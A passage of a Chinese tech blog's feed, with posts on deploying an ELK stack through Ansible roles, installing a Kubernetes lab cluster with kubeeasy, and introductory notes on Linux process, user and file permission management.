192.168.100.22cluster.initial_master_nodes: ["elk-1","elk-2","elk-3"]EOF</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="设置句柄"><a href="#设置句柄" class="headerlink" title="设置句柄"></a>设置句柄</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">cat</span> <span class="token operator">></span> /root/install_elk/roles/ela/files/limits.conf <span class="token operator">&lt;&lt;</span><span class="token string">EOF* soft nofile 65535* hard nofile 65535* soft nproc  4096* hard nproc 4096EOF</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="配置KIB模板"><a href="#配置KIB模板" class="headerlink" title="配置KIB模板"></a>配置KIB模板</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">cat</span> <span class="token operator">></span> /root/install_elk/roles/kib/tasks/main.yaml <span class="token operator">&lt;&lt;</span><span class="token string">EOF- name: 传输本地软件包到远程主机并且解压到指定目录  unarchive:    src: kibana-7.17.0-linux-x86_64.tar.gz    dest: /opt    owner: ela    group: ela    list_files: yes  register: ret- name: 创建软链接  file:    src: /opt/&#123;&#123; ret.files.0 | regex_replace('/.*') &#125;&#125;    dest: /opt/kibana    state: link- name: 创建日志与PID存放目录  shell: mkdir -p /var/log/kibana /run/kibana- name: 给如上目录设置权限  shell: chown -R ela:ela /var/log/kibana /run/kibana- name: 传输配置文件  copy:    src: kibana.yml    dest: /opt/kibana/config/kibana.yml    - name: 传输服务管理文件  template:    src: kibana.service.j2    dest: /etc/systemd/system/kibana.service- name: 启动服务  systemd:    name: kibana    state: started    daemon_reload: yesEOF</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="设置程序配置文件"><a href="#设置程序配置文件" class="headerlink" title="设置程序配置文件"></a>设置程序配置文件</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">cat</span> <span class="token operator">></span> /root/install_elk/roles/kib/files/kibana.yml <span class="token operator">&lt;&lt;</span><span class="token string">EOFserver.port: 5601server.host: "0.0.0.0"elasticsearch.hosts: ["http://192.168.100.20:9200"]i18n.locale: "zh-CN"pid.file: /run/kibana/kibana.pidlogging.dest: /var/log/kibana/kibana.logEOF</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="设置程序管理模板"><a href="#设置程序管理模板" class="headerlink" title="设置程序管理模板"></a>设置程序管理模板</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">cat</span> <span class="token operator">></span> /root/install_elk/roles/kib/templates/kibana.service.j2 <span class="token operator">&lt;&lt;</span><span class="token string">EOF[Unit]Description=KibanaDocumentation=https://www.elastic.coAfter=network-online.targetWants=network-online.target[Service]Type=simpleUser=elaGroup=elaExecStart=/opt/kibana/bin/kibanaExecStop=/bin/pkill -F "/run/kibana/kibana.pid"Restart=on-failureRestartSec=3StartLimitBurst=3StartLimitInterval=60WorkingDirectory=/opt/kibanaStandardOutput=journalStandardError=inherit[Install]WantedBy=multi-user.targetEOF</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="配置LOG模板"><a href="#配置LOG模板" class="headerlink" title="配置LOG模板"></a>配置LOG模板</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">cat</span> <span class="token operator">></span> /root/install_elk/roles/log/tasks/main.yaml <span class="token operator">&lt;&lt;</span><span class="token string">EOF- name: 创建日志目录  file:    path: /var/log/logstash    state: directory- name: 服务日志目录权限  shell: chown -R ela:ela /var/log/logstash- name: 传输本地软件包到远程主机并且解压到指定目录  unarchive:    src: logstash-7.17.0-linux-x86_64.tar.gz    dest: /opt    list_files: yes  register: ret- name: 创建软链接  file:    src: /opt/&#123;&#123; ret.files.0 | regex_replace('/.*') &#125;&#125;    dest: /opt/logstash    state: link- name: 传输配置文件  template:    src: logstash.yml    dest: /opt/logstash/config/logstash.yml- name: 传输管道配置文件  copy:    src: logstash.conf    dest: /opt/logstash/config/logstash-sample.conf    - name: 传输系统服务文件  template:    src: logstash.service.j2    dest: /etc/systemd/system/logstash.service- name: 启动 logstash  systemd:    name: logstash    state: started    daemon_reload: yes- name: restart logstash  systemd:    name: logstash    state: restarted    daemon_reload: yes#- name: 启动服务#  become: yes#  become_user: ela#  shell: sh /opt/logstash/bin/logstash -f /opt/logstash/config/logstash-sample.conf EOF</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="设置程序配置文件-1"><a href="#设置程序配置文件-1" class="headerlink" title="设置程序配置文件"></a>设置程序配置文件</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">cat</span> <span class="token operator">></span> /root/install_elk/roles/log/templates/logstash.yml <span class="token operator">&lt;&lt;</span><span class="token string">EOFhttp.host: "0.0.0.0"path.logs: /var/log/logstash/EOF</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><h3 id="设置管道配置文件"><a href="#设置管道配置文件" class="headerlink" title="设置管道配置文件"></a>设置管道配置文件</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">cat</span> <span class="token operator">></span> /root/install_elk/roles/log/files/logstash.conf <span class="token operator">&lt;&lt;</span><span class="token string">EOF#将本地的/var/log/yum.log内日志标准输入input &#123;  file &#123;    path => "/var/log/yum.log"    type => "yum_log"    start_position => "beginning"  &#125;&#125;#标准输出到elasticsearch中output &#123;  elasticsearch &#123;    hosts =>  ["192.168.100.20:9200","192.168.100.21:9200","192.168.100.22:9200"]     index => "%&#123;[@metadata][beat]&#125;-%&#123;[@metadata][version]&#125;-%&#123;+YYYY.MM.dd&#125;"    #user => "elastic"    #password => "changeme"  &#125;&#125;EOF</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="设置进程管理模板"><a href="#设置进程管理模板" class="headerlink" title="设置进程管理模板"></a>设置进程管理模板</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">cat</span> <span class="token operator">></span> /root/install_elk/roles/log/templates/logstash.service.j2 <span class="token operator">&lt;&lt;</span><span class="token string">EOFUnit]Description=logstash[Service]Type=simpleExecStart=/opt/logstash/bin/logstash "-f" "/opt/logstash/config/*.conf"Restart=alwaysWorkingDirectory=/LimitNOFILE=65535TimeoutStopSec=infinity[Install]WantedBy=multi-user.targetEOF</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;Ansible开ELK集群&quot;&gt;&lt;a href=&quot;#Ansible开ELK集群&quot; class=&quot;headerlink&quot; title=&quot;Ansible开ELK集群&quot;&gt;&lt;/a&gt;Ansible开ELK集群&lt;/h1&gt;&lt;h1 id=&quot;节点规划&quot;&gt;&lt;a href=&quot;#节点规划&quot;</summary>
      
    
    
    
    <category term="运维" scheme="https://blog.inekoxia.com/categories/%E8%BF%90%E7%BB%B4/"/>
    
    
    <category term="云计算" scheme="https://blog.inekoxia.com/tags/%E4%BA%91%E8%AE%A1%E7%AE%97/"/>
    
  </entry>
  
  <entry>
    <title>K8S一道云新版部署</title>
    <link href="https://blog.inekoxia.com/index.php/archives/702.html"/>
    <id>https://blog.inekoxia.com/index.php/archives/702.html</id>
    <published>2024-11-20T05:01:00.000Z</published>
    <updated>2025-11-27T04:02:54.546Z</updated>
    
    <content type="html"><![CDATA[<h1 id="节点规划"><a href="#节点规划" class="headerlink" title="节点规划"></a>节点规划</h1><table><thead><tr><th>主机名</th><th>IP地址</th><th>配置</th></tr></thead><tbody><tr><td>master</td><td>10.18.4.10</td><td>2H4G</td></tr><tr><td>node</td><td>10.18.4.20</td><td>2H4G</td></tr></tbody></table><p>用到的镜像：CentOS-7-x86_64-DVD-2009.iso、chinaskills_cloud_paas_v2.0.3.iso</p><h1 id="安装K8S集群"><a href="#安装K8S集群" class="headerlink" title="安装K8S集群"></a>安装K8S集群</h1><h2 id="挂载镜像并安装Kubeeasy"><a href="#挂载镜像并安装Kubeeasy" class="headerlink" title="挂载镜像并安装Kubeeasy"></a>挂载镜像并安装Kubeeasy</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">mount</span> /dev/sr0 /media<span class="token function">cp</span> <span class="token parameter variable">-rvf</span> /media/* /opt<span class="token function">cp</span> /opt/kubeeasy-v2.0 /usr/bin<span class="token function">mv</span> /usr/bin/kubeeasy-v2.0 /usr/bin/kubeeasy<span class="token function">chmod</span> +x /usr/bin/kubeeasy<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="使用kubeeasy安装依赖包"><a href="#使用kubeeasy安装依赖包" class="headerlink" title="使用kubeeasy安装依赖包"></a>使用kubeeasy安装依赖包</h2><pre class="line-numbers language-none"><code class="language-none">kubeeasy install dependencies \--host 10.18.4.10,10.18.4.20 \--user root \--password 000000 \--offline-file &#x2F;opt&#x2F;dependencies&#x2F;base-rpms.tar.gz<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="装完依赖再开始装k8s"><a href="#装完依赖再开始装k8s" class="headerlink" title="装完依赖再开始装k8s"></a>装完依赖再开始装k8s</h2><pre class="line-numbers language-none"><code class="language-none">kubeeasy install kubernetes \--master 10.18.4.10 \--worker 10.18.4.20 \--user root \--password 000000 \--version 1.22.1 \--offline-file &#x2F;opt&#x2F;kubernetes.tar.gz<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="测试搭建"><a href="#测试搭建" class="headerlink" title="测试搭建"></a>测试搭建</h2><p>1.访问masterIP:30080，用户名admin密码000000000000</p><p>打开网页面板不报错的话就是搭建完成了</p><p>2.输入<code>kubectl get nodes</code>看得出已经部署正常了</p><p>输出结果：</p><pre class="line-numbers language-none"><code class="language-none">[root@k8s-master-node1 ~]# kubectl get nodesNAME               STATUS   ROLES                         AGE   VERSIONk8s-master-node1   Ready    control-plane,master,worker   24h   v1.22.1k8s-worker-node1   Ready    worker                        24h   v1.22.1<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><h1 id="安装kubevirt（可选）"><a href="#安装kubevirt（可选）" class="headerlink" title="安装kubevirt（可选）"></a>安装kubevirt（可选）</h1><pre class="line-numbers language-none"><code class="language-none">kubeeasy add --virt kubevirt<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h1 id="安装harbor（可选）"><a href="#安装harbor（可选）" class="headerlink" title="安装harbor（可选）"></a>安装harbor（可选）</h1><pre class="line-numbers language-none"><code class="language-none">kubeeasy add --registry harbor<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h1 id="安装istio（可选）"><a href="#安装istio（可选）" class="headerlink" title="安装istio（可选）"></a>安装istio（可选）</h1><p>安装istio会同时安装prometheus+grafana+kiali等其他相关的Pod</p><pre class="line-numbers language-none"><code class="language-none">kubeeasy add --istio istio<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;节点规划&quot;&gt;&lt;a href=&quot;#节点规划&quot; class=&quot;headerlink&quot; title=&quot;节点规划&quot;&gt;&lt;/a&gt;节点规划&lt;/h1&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;主机名&lt;/th&gt;
&lt;th&gt;IP地址&lt;/th&gt;
&lt;th&gt;配置&lt;/th&gt;
&lt;/tr&gt;</summary>
      
    
    
    
    <category term="运维" scheme="https://blog.inekoxia.com/categories/%E8%BF%90%E7%BB%B4/"/>
    
    
    <category term="云计算" scheme="https://blog.inekoxia.com/tags/%E4%BA%91%E8%AE%A1%E7%AE%97/"/>
    
  </entry>
  
  <entry>
    <title>Linux进程管理</title>
    <link href="https://blog.inekoxia.com/index.php/archives/701.html"/>
    <id>https://blog.inekoxia.com/index.php/archives/701.html</id>
    <published>2024-10-25T03:59:37.000Z</published>
    <updated>2025-11-27T04:02:54.546Z</updated>
    
    <content type="html"><![CDATA[<h3 id="Linux进程管理概述"><a href="#Linux进程管理概述" class="headerlink" title="Linux进程管理概述"></a>Linux进程管理概述</h3><p>在Linux操作系统中，进程管理是核心功能之一。进程是正在执行的程序实例，系统需要管理这些进程的创建、调度、终止以及资源分配。理解和掌握进程管理的理论知识对于系统管理和性能优化至关重要。</p><h3 id="1-进程的概念"><a href="#1-进程的概念" class="headerlink" title="1. 进程的概念"></a>1. 进程的概念</h3><h4 id="1-1-进程的定义"><a href="#1-1-进程的定义" class="headerlink" title="1.1 进程的定义"></a>1.1 进程的定义</h4><ul><li><strong>进程</strong>：一个正在执行的程序实例，包括程序代码和当前活动的状态（寄存器、变量等）。</li><li><strong>线程</strong>：进程中的一个执行单元，共享进程的资源，如内存空间、文件描述符等。</li></ul><h4 id="1-2-进程的状态"><a href="#1-2-进程的状态" class="headerlink" title="1.2 进程的状态"></a>1.2 进程的状态</h4><ul><li><strong>运行状态（Running）</strong>：进程正在CPU上执行。</li><li><strong>就绪状态（Ready）</strong>：进程准备执行，但等待CPU调度。</li><li><strong>阻塞状态（Blocked）</strong>：进程等待某个事件（如I&#x2F;O操作）完成。</li><li><strong>终止状态（Terminated）</strong>：进程已完成执行或被终止。</li></ul><h3 id="2-进程的生命周期"><a href="#2-进程的生命周期" class="headerlink" title="2. 进程的生命周期"></a>2. 进程的生命周期</h3><h4 id="2-1-进程的创建"><a href="#2-1-进程的创建" class="headerlink" title="2.1 进程的创建"></a>2.1 进程的创建</h4><p>进程可以通过以下方式创建：</p><ul><li><strong>系统初始化</strong>：系统引导时创建的进程，如 <code>init</code> 进程（PID 1）。</li><li><strong>用户请求</strong>：用户通过命令行或GUI启动程序。</li><li><strong>系统调用</strong>：通过 <code>fork()</code> 系统调用创建子进程，子进程可以通过 <code>exec()</code> 系统调用执行新程序。</li></ul><h4 id="2-2-进程的终止"><a href="#2-2-进程的终止" class="headerlink" title="2.2 进程的终止"></a>2.2 进程的终止</h4><p>进程可以通过以下方式终止：</p><ul><li><strong>正常退出</strong>：进程完成任务后调用 <code>exit()</code> 退出。</li><li><strong>异常终止</strong>：进程因错误或未处理的信号崩溃。</li><li><strong>被其他进程终止</strong>：一个进程可以通过 <code>kill</code> 系统调用终止另一个进程。</li></ul><h3 id="3-进程控制块（PCB）"><a href="#3-进程控制块（PCB）" class="headerlink" title="3. 进程控制块（PCB）"></a>3. 进程控制块（PCB）</h3><p>每个进程在操作系统内核中都有一个数据结构称为进程控制块（PCB），包含了进程的所有信息。</p><ul><li><strong>进程ID（PID）</strong>：进程的唯一标识符。</li><li><strong>程序计数器</strong>：记录进程下一条要执行的指令。</li><li><strong>CPU寄存器</strong>：保存进程执行时的寄存器状态。</li><li><strong>内存管理信息</strong>：进程的内存分配情况。</li><li><strong>文件描述符表</strong>：进程打开的文件列表。</li><li><strong>进程状态</strong>：进程当前的状态。</li></ul><h3 id="4-进程调度"><a href="#4-进程调度" class="headerlink" title="4. 进程调度"></a>4. 进程调度</h3><h4 id="4-1-调度策略"><a href="#4-1-调度策略" class="headerlink" title="4.1 调度策略"></a>4.1 调度策略</h4><p>Linux使用多种调度策略来管理进程的执行：</p><ul><li><strong>SCHED_OTHER</strong>：默认的时间共享调度策略，为普通进程设计。</li><li><strong>SCHED_FIFO</strong>：实时调度策略，先入先出。</li><li><strong>SCHED_RR</strong>：实时调度策略，时间片轮转。</li></ul><h4 id="4-2-调度算法"><a href="#4-2-调度算法" class="headerlink" title="4.2 调度算法"></a>4.2 调度算法</h4><ul><li><strong>时间片轮转（Round Robin）</strong>：每个进程分配一个固定的时间片，时间片结束后切换到下一个进程。</li><li><strong>优先级调度</strong>：进程根据优先级调度，高优先级的进程优先执行。</li><li><strong>多级反馈队列</strong>：结合时间片轮转和优先级调度，动态调整进程的优先级。</li></ul><h3 id="5-进程通信"><a href="#5-进程通信" class="headerlink" title="5. 进程通信"></a>5. 进程通信</h3><p>进程间通信（IPC）是进程之间交换数据的手段，主要方式包括：</p><ul><li><strong>管道（Pipe）</strong>：单向通信通道，常用于父子进程之间。</li><li><strong>命名管道（FIFO）</strong>：类似管道，但具有名称，可用于无亲缘关系的进程之间的通信。</li><li><strong>信号（Signal）</strong>：用于通知进程某个事件的发生。</li><li><strong>共享内存</strong>：多个进程共享同一块内存区域，速度快。</li><li><strong>消息队列</strong>：进程通过消息队列发送和接收消息，适用于复杂通信需求。</li><li><strong>套接字（Socket）</strong>：用于网络通信的IPC机制。</li></ul><h3 id="6-常用的进程管理命令"><a href="#6-常用的进程管理命令" class="headerlink" title="6. 常用的进程管理命令"></a>6. 常用的进程管理命令</h3><h4 id="6-1-查看进程"><a href="#6-1-查看进程" class="headerlink" title="6.1 查看进程"></a>6.1 查看进程</h4><ul><li><code>ps</code>：显示当前进程状态。</li><li><code>top</code>：实时显示系统中进程的运行状态。</li><li><code>htop</code>：增强版的 <code>top</code>，提供更友好的界面。</li></ul><h4 id="6-2-管理进程"><a href="#6-2-管理进程" class="headerlink" title="6.2 管理进程"></a>6.2 管理进程</h4><ul><li><code>kill</code>：向进程发送信号，如终止进程 (<code>kill -9 PID</code>)。</li><li><code>nice</code>：启动进程时设置优先级。</li><li><code>renice</code>：改变正在运行进程的优先级。</li><li><code>killall</code>：按名称终止进程。</li></ul><h4 id="6-3-查看进程树"><a href="#6-3-查看进程树" class="headerlink" title="6.3 查看进程树"></a>6.3 查看进程树</h4><ul><li><code>pstree</code>：以树状图显示进程关系。</li></ul><h3 id="7-实践操作"><a href="#7-实践操作" class="headerlink" title="7. 实践操作"></a>7. 实践操作</h3><p><strong>示例：创建并管理进程</strong></p><ol><li><strong>创建一个进程</strong></li></ol><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">sleep</span> <span class="token number">1000</span> <span class="token operator">&amp;</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ol start="2"><li><strong>查看进程</strong></li></ol><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">ps</span> aux <span class="token operator">|</span> <span class="token function">grep</span> <span class="token function">sleep</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ol start="3"><li><strong>调整进程优先级</strong></li></ol><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">renice</span> +10 <span class="token operator">&lt;</span>sleep进程的PID<span class="token operator">></span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ol start="4"><li><strong>终止进程</strong></li></ol><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">kill</span> <span class="token operator">&lt;</span>sleep进程的PID<span class="token operator">></span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;Linux进程管理概述&quot;&gt;&lt;a href=&quot;#Linux进程管理概述&quot; class=&quot;headerlink&quot; title=&quot;Linux进程管理概述&quot;&gt;&lt;/a&gt;Linux进程管理概述&lt;/h3&gt;&lt;p&gt;在Linux操作系统中，进程管理是核心功能之一。进程是正在执行的程序</summary>
      
    
    
    
    <category term="运维" scheme="https://blog.inekoxia.com/categories/%E8%BF%90%E7%BB%B4/"/>
    
    
    <category term="云计算" scheme="https://blog.inekoxia.com/tags/%E4%BA%91%E8%AE%A1%E7%AE%97/"/>
    
  </entry>
  
  <entry>
    <title>Linux权限控制之用户权限管理</title>
    <link href="https://blog.inekoxia.com/index.php/archives/700.html"/>
    <id>https://blog.inekoxia.com/index.php/archives/700.html</id>
    <published>2024-10-25T03:56:00.000Z</published>
    <updated>2025-11-27T04:02:54.546Z</updated>
    
    <content type="html"><![CDATA[<h3 id="Linux用户与组介绍"><a href="#Linux用户与组介绍" class="headerlink" title="Linux用户与组介绍"></a>Linux用户与组介绍</h3><p>在 Linux 系统中，用户和组是管理文件和目录权限、进程和其他系统资源的关键概念</p><h4 id="用户-User"><a href="#用户-User" class="headerlink" title="用户 (User)"></a>用户 (User)</h4><ul><li><p><strong>定义</strong>：用户是 Linux 系统中的一个实体，每个用户都有一个唯一的用户名和用户 ID (UID)。用户可以登录系统、执行命令和访问文件。</p></li><li><p>类型</p><p>：</p><ul><li><strong>超级用户 (root)</strong>：拥有系统中所有文件和资源的最高权限，可以执行任何操作。</li><li><strong>普通用户</strong>：权限受限，只能访问自己的文件和系统中允许的资源。</li></ul></li><li><p>用户管理命令</p><p>：</p><ul><li>创建用户：<code>useradd [选项] 用户名</code></li><li>修改用户：<code>usermod [选项] 用户名</code></li><li>删除用户：<code>userdel [选项] 用户名</code></li><li>设置密码：<code>passwd 用户名</code></li></ul></li></ul><h4 id="组-Group"><a href="#组-Group" class="headerlink" title="组 (Group)"></a>组 (Group)</h4><ul><li><p><strong>定义</strong>：组是一组用户的集合，用于简化权限管理。每个用户可以属于一个或多个组，每个组都有一个唯一的组名和组 ID (GID)。</p></li><li><p>类型</p><p>：</p><ul><li><strong>主要组</strong>：用户的主要组，用于文件和目录的默认权限。</li><li><strong>次要组</strong>：用户可以同时属于多个次要组，用于特定的权限管理。</li></ul></li><li><p>组管理命令</p><p>：</p><ul><li>创建组：<code>groupadd [选项] 组名</code></li><li>修改组：<code>groupmod [选项] 组名</code></li><li>删除组：<code>groupdel [选项] 组名</code></li><li>将用户添加到组：<code>usermod -a -G 组名 用户名</code></li></ul></li></ul><h3 id="Linux-用户与组与其他系统的不同"><a href="#Linux-用户与组与其他系统的不同" class="headerlink" title="Linux 用户与组与其他系统的不同"></a>Linux 用户与组与其他系统的不同</h3><p>Linux 的用户和组管理与其他操作系统（如 Windows 和 macOS）有一些显著的不同：</p><h4 id="1-权限模型"><a href="#1-权限模型" class="headerlink" title="1. 权限模型"></a>1. 权限模型</h4><ul><li><strong>Linux</strong>：Linux 使用基于用户和组的权限模型，每个文件和目录都有所有者、组和其他用户的权限设置。权限分为读 (r)、写 (w) 和执行 (x)。</li><li><strong>Windows</strong>：Windows 使用基于访问控制列表 (ACL) 的权限模型，可以为每个用户和组设置详细的权限。</li><li><strong>macOS</strong>：macOS 基于 Unix，也使用类似 Linux 的用户和组权限模型，但同时支持 ACL。</li></ul><h4 id="2-用户和组管理"><a href="#2-用户和组管理" class="headerlink" title="2. 用户和组管理"></a>2. 用户和组管理</h4><ul><li><strong>Linux</strong>：Linux 的用户和组管理主要通过命令行工具（如 <code>useradd</code>、<code>usermod</code>、<code>groupadd</code> 等）进行，也可以通过图形界面工具（如 <code>Users and Groups</code>）进行管理。</li><li><strong>Windows</strong>：Windows 的用户和组管理主要通过图形界面工具（如 <code>Computer Management</code>）进行，也可以通过命令行工具（如 <code>net user</code>、<code>net localgroup</code>）进行管理。</li><li><strong>macOS</strong>：macOS 的用户和组管理可以通过图形界面工具（如 <code>System Preferences</code>）进行，也可以通过命令行工具（如 <code>dscl</code>）进行管理。</li></ul><h4 id="3-超级用户权限"><a href="#3-超级用户权限" class="headerlink" title="3. 超级用户权限"></a>3. 超级用户权限</h4><ul><li><strong>Linux</strong>：Linux 的超级用户是 <code>root</code>，拥有系统中所有文件和资源的最高权限。普通用户可以通过 <code>sudo</code> 命令临时提升权限。</li><li><strong>Windows</strong>：Windows 的超级用户是 <code>Administrator</code>，拥有系统中所有文件和资源的最高权限。普通用户可以通过 <code>Run as administrator</code> 提升权限。</li><li><strong>macOS</strong>：macOS 的超级用户是 <code>root</code>，但默认情况下是禁用的。普通用户可以通过 <code>sudo</code> 命令临时提升权限。</li></ul><h4 id="4-用户和组文件"><a href="#4-用户和组文件" class="headerlink" title="4. 用户和组文件"></a>4. 用户和组文件</h4><ul><li><strong>Linux</strong>：Linux 的用户和组信息存储在 <code>/etc/passwd</code> 和 <code>/etc/group</code> 文件中。</li><li><strong>Windows</strong>：Windows 的用户和组信息存储在 Active Directory 或本地用户和组数据库中。</li><li><strong>macOS</strong>：macOS 的用户和组信息存储在 <code>/etc/passwd</code> 和 <code>/etc/group</code> 文件中，同时也支持目录服务（如 Open Directory）。</li></ul><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>Linux 的用户和组管理基于 Unix 的传统，使用基于用户和组的权限模型，通过命令行工具进行管理。与其他操作系统相比，Linux 的用户和组管理更加灵活和强大，适用于需要精细权限控制的环境。通过理解这些概念和差异，用户可以更好地管理和保护 Linux 系统中的资源。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;Linux用户与组介绍&quot;&gt;&lt;a href=&quot;#Linux用户与组介绍&quot; class=&quot;headerlink&quot; title=&quot;Linux用户与组介绍&quot;&gt;&lt;/a&gt;Linux用户与组介绍&lt;/h3&gt;&lt;p&gt;在 Linux 系统中，用户和组是管理文件和目录权限、进程和其他系统</summary>
      
    
    
    
    <category term="运维" scheme="https://blog.inekoxia.com/categories/%E8%BF%90%E7%BB%B4/"/>
    
    
    <category term="云计算" scheme="https://blog.inekoxia.com/tags/%E4%BA%91%E8%AE%A1%E7%AE%97/"/>
    
  </entry>
  
  <entry>
    <title>Linux权限控制之文件权限管理</title>
    <link href="https://blog.inekoxia.com/index.php/archives/699.html"/>
    <id>https://blog.inekoxia.com/index.php/archives/699.html</id>
    <published>2024-10-25T03:54:00.000Z</published>
    <updated>2025-11-27T04:02:54.546Z</updated>
    
    <content type="html"><![CDATA[<p>Linux 权限管理是确保系统安全性和用户数据隐私的关键部分。Linux 系统中的每个文件和目录都有一组权限，这些权限定义了哪些用户可以访问、读取、写入和执行文件或目录</p><h3 id="权限类型"><a href="#权限类型" class="headerlink" title="权限类型"></a>权限类型</h3><p>Linux 权限分为三种类型：</p><ol><li><strong>读取权限 (r)</strong>：允许用户查看文件内容或目录列表。</li><li><strong>写入权限 (w)</strong>：允许用户修改文件内容或目录中的文件。</li><li><strong>执行权限 (x)</strong>：允许用户执行文件（如果文件是可执行程序）或进入目录。</li></ol><h3 id="权限对象"><a href="#权限对象" class="headerlink" title="权限对象"></a>权限对象</h3><p>权限可以分配给三类对象：</p><ol><li><strong>所有者 (u)</strong>：文件或目录的创建者。</li><li><strong>组 (g)</strong>：一组用户，可以共享文件或目录的权限。</li><li><strong>其他用户 (o)</strong>：系统中的所有其他用户。</li></ol><h3 id="权限表示法"><a href="#权限表示法" class="headerlink" title="权限表示法"></a>权限表示法</h3><p>权限通常以两种方式表示：</p><ol><li><p><strong>符号表示法</strong>：使用字母和符号来表示权限。</p><ul><li><code>r</code>：读取权限</li><li><code>w</code>：写入权限</li><li><code>x</code>：执行权限</li><li><code>-</code>：无权限</li></ul><p>例如，<code>rwxr-xr--</code> 表示所有者有读、写、执行权限，组用户有读、执行权限，其他用户只有读权限。</p></li><li><p><strong>八进制表示法</strong>：使用数字来表示权限。</p><ul><li><code>4</code>：读取权限</li><li><code>2</code>：写入权限</li><li><code>1</code>：执行权限</li><li><code>0</code>：无权限</li></ul><p>例如，<code>755</code> 表示所有者有读、写、执行权限，组用户和其他用户有读、执行权限。</p></li></ol><h3 id="修改权限"><a href="#修改权限" class="headerlink" title="修改权限"></a>修改权限</h3><p>使用 <code>chmod</code> 命令可以修改文件或目录的权限。</p><ul><li><strong>符号模式</strong>：</li></ul><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">chmod</span> u+rwx,g+rx,o+r filename<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>  这表示给所有者添加读、写、执行权限，给组用户添加读、执行权限，给其他用户添加读权限。</p><ul><li><strong>八进制模式</strong>：</li></ul><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">chmod</span> <span class="token number">755</span> filename<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>  这表示设置所有者为读、写、执行权限，组用户和其他用户为读、执行权限。</p><h3 id="修改所有者和组"><a href="#修改所有者和组" class="headerlink" title="修改所有者和组"></a>修改所有者和组</h3><p>使用 <code>chown</code> 和 <code>chgrp</code> 命令可以修改文件或目录的所有者和组。</p><ul><li><strong>修改所有者</strong>：</li></ul><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">chown</span> new_owner filename<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ul><li><strong>修改组</strong>：</li></ul><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">chgrp</span> new_group filename<span aria-hidden="true" 